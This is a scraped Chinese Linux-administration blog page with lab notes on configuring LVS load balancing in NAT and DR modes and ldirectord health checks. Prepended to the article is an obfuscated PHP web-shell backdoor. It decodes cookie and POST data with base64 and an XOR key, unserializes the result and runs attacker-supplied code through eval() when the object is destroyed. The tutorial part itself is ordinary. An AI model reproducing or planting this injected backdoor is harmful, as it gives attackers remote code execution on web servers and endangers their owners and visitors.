$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} LVS虚拟服务器相关实验 | Linux运维部落

LVS虚拟服务器相关实验

wangxcz • • Linux笔记

本节内容主要是是lvs相关性实验，及lvs健康性检查工具Ldirectord

本节索引：

一、实验：实现LVS-NAT

二、实验：实现LVS与RS之间添加路由器的LVS-NAT

（1）实现端口映射

（2）添加权重

三、实验：实现单网络LVS-DR

四、Ldirectord:实现LVS的RS健康性检查

 

 

一、实验：实现LVS-NAT

逻辑拓扑：

Nat模型

前期准备：

CLIENT:   172.20.0.123； 网关：172.20.0.200

LVS:     VIP：192.168.30.200, DIP：172.20.0.200，启用ip_forward

RS1:     192.168.30.17

RS2:     192.168.30.27

 

LVS：

开启路由转发

echo net.ipv4.ip_forward=1 >> /etc/sysctl.conf

sysctl –p

sysctl –a |grep ip_f

 

 

RS1、2:

搭建WEB环境

网关指向192.168.30.200

yum install httpd

RS1:

echo RS1> /var/www/html/index.html

systemctl start httpd

RS2:

echo RS2> /var/www/html/index.html

systemctl start httpd

 

LVS:

添加LVS规则

yum install ipvsadm

Ipvsadm –A –t 172.20.0.200:80 –s rr

Ipvsadm –a –t 172.20.0.200:80  –r 192.168.30.17 –m 

Ipvsadm –a –t 172.20.0.200:80  –r 192.168.30.27 –m 

Ipvsadm –Ln

1

 

测试：

curl 172.20.0.200

6

 

 

二、实验：实现LVS与RS之间添加路由器的LVS-NAT

逻辑拓扑：

Nat-Router模型

前期准备：

新增加一台虚拟机作为路由器，按下图进行网络环境搭建

CLIENT:   172.20.0.123；网关：172.20.0.200

LVS:   192.168.30.0,172.20.0.200，不启用ip_forward

ROUTER： VIP：172.20.0.100/16；DIP：192.168.30.200 /24，启用ip_forward

RS1:  192.168.30.17

RS2:  192.168.30.27

路由器必须配置到LVS的网关，并且开启路由转发功能

3

curl 172.20.0.200测试

4

 

实现端口映射：

以httpd服务为例，修改其中一台RS服务器的80端口为8080

RS1：

vim /etc/httpd/conf/httpd.conf

Listen 80 ==>Listen 8080

 

LVS：

清除原有LVS规则

ipvsadm -C 

ipvsadm -A -t 172.20.0.200:80 -s rr

ipvsadm -a -t 172.20.0.200:80 -r 192.168.30.17:8080 -m

ipvsadm -a -t 172.20.0.200:80 -r 192.168.30.27:80 -m

5

CLIENT：

6

 

添加权重：

LVS：

修改调度算法为wrr模式

7

ipvsadm -a -t 172.20.0.200:80 -r 192.168.30.17:8080 -m -w 3

8

 

CLIENT：

我们看到LVS已按RS1:RS1 = 3:1的权重进行调度

9

 

 

三、实验：实现单网络LVS-DR

逻辑拓扑：

LVS-DR模型-单网络

前期准备:

5台虚拟机，网络环境配置如下：

CLIENT:    桥接模式；172.20.0.222/16

ROUTER:  桥接模式；172.20.0.200/16；192.168.30.200/24

LVS:  仅主机模式;VIP:192.168.30.7/24；DIP：192.168.30.100/24

RS1:  仅主机模式;192.168.30.17/24；VIP:192.168.30.7/24

RS2:  仅主机模式;192.168.30.27/24；VIP:192.168.30.7/24

 

RS1,RS2:

echo 1> /proc/sys/net/ipv4/conf/lo/arp_ignore

echo 1> /proc/sys/net/ipv4/conf/all/arp_ignore

echo 2> /proc/sys/net/ipv4/conf/lo/arp_announce

echo 2> /proc/sys/net/ipv4/conf/all/arp_announce

一般习惯是将VIP绑定到RS服务器的回环网卡lo上

ip a a 192.168.30.7/32 dev lo

1

在RS1,RS2上搭建web服务

yum install httpd

RS1:

echo RS1> /var/www/html/index.html

systemctl start httpd

RS2:

echo RS2> /var/www/html/index.html

systemctl start httpd

 

 

LVS：

网络配置要求

VIP:  ip addr a192.168.30.7/32 dev lo

DIP:  192.168.30.100/24 eth0

GATEWAY:  192.168.30.X          #网关必须配，但可随意配置，同一网段即可

配置调度策略：

yum install ipvsadm

ipvsadm -A -t 192.168.30.7:80 -s rr

ipvsadm -a -t 192.168.30.7:80 -r 192.168.30.17      #默认dr模型

ipvsadm -a -t 192.168.30.7:80 -r 192.168.30.27

2

 

CLIENT:

测试

3

 

四、Ldirectord:实现LVS的RS健康性检查

ldirectord：监控和控制LVS守护进程，可管理LVS规则

包名：ldirectord-3.9.6-0rc1.1.1.x86_64.rpm

文件：

/etc/ha.d/ldirectord.cf    主配置文件

/usr/share/doc/ldirectord-3.9.6/ldirectord.cf   配置模版

/usr/lib/systemd/system/ldirectord.service    服务

/usr/sbin/ldirectord   主程序

/var/log/ldirectord.log   日志

/var/run/ldirectord.ldirectord.pid pid   文件

 

Ldirectord配置文件示例

checktimeout=3

checkinterval=1

autoreload=yes

logfile=”/var/log/ldirectord.log”       #日志文件

quiescent=no                                        #down时yes权重为0，no为删除

virtual=5                                               #指定VS的FWM或IP：port

real=172.16.0.7:80 gate 2

real=172.16.0.8:80 gate 1

fallback=127.0.0.1:80 gate #sorry server

service=http

scheduler=wrr

checktype=negotiate

checkport=80

request=”index.html”

receive=”test Ldirectord”

Ldirectord配置

重启ldirectord服务，将自动生成LVS规则

systemctl start ldirectord

Ldirectord配置2

默认情况下，当有一台RS服务器宕机时，LVS还将继续调度，启动ldirectord服务后，当某台RS服

务器宕机后，LVS将不再继续调度至该台服务器

 

 

 

 

 

 

 

 

 

本文来自投稿，不代表Linux运维部落立场，如若转载，请注明出处：http://www.178linux.com/102292

赞 (1)
wangxczwangxcz
0
上一篇 2018-07-05 13:57
下一篇 2018-07-05 17:04

相关推荐

  • 第七周博客作业 Linux笔记

    第七周博客作业

    1、简述linux操作系统启动流程
    2、简述grub启动引导程序配置及命令行接口详解
    3、实现kickstart文件制作与光盘镜像制作

    2018-05-04
  • linux 学习5 Linux笔记

    linux 学习5

    第五周(7.16-7.30)

    2018-07-30

  • 作业管理（任务计划）

    任务计划就好比我们的闹钟一样，到了指定的时间就该去做对应的事情。 任务计划分为两类： 一次性的任务计划：只执行一次就结束 周期性的任务计划：每隔一定的周期去做相同的事情 at命令就是专门用来处理一次性的计划任务 batch也是处理一次性的计划任务但是它是由系统自行选择空闲时间去执行此处指定的任务（不常用） crontab可以根据定义的周期信息，循环的去做一些…

    Linux笔记 2018-05-05
  • Linux基础知识入门 Linux笔记

    Linux基础知识入门

    涉及内容：
    计算机组成、发行版介绍、哲学思想、基本命令介绍、命令帮助使用、系统基本目录名和功用介绍

    2018-05-13

  • 第五章用户组和管理权限学习笔记

    本章内容：

    解释Linux的安全模型

    解释用户账号和组群账号的目的

    用户的组管理命令

    理解并设置文件权限

    默认权限

    特殊权限

    ACL

    Linux笔记 2018-04-07

  • Linux中的文本查看和处理练习题

    linux中的文本查看和处理练习题
    linux用户和组管理类命令的使用方法及练习

    Linux笔记 2018-07-08
电话咨询
在线咨询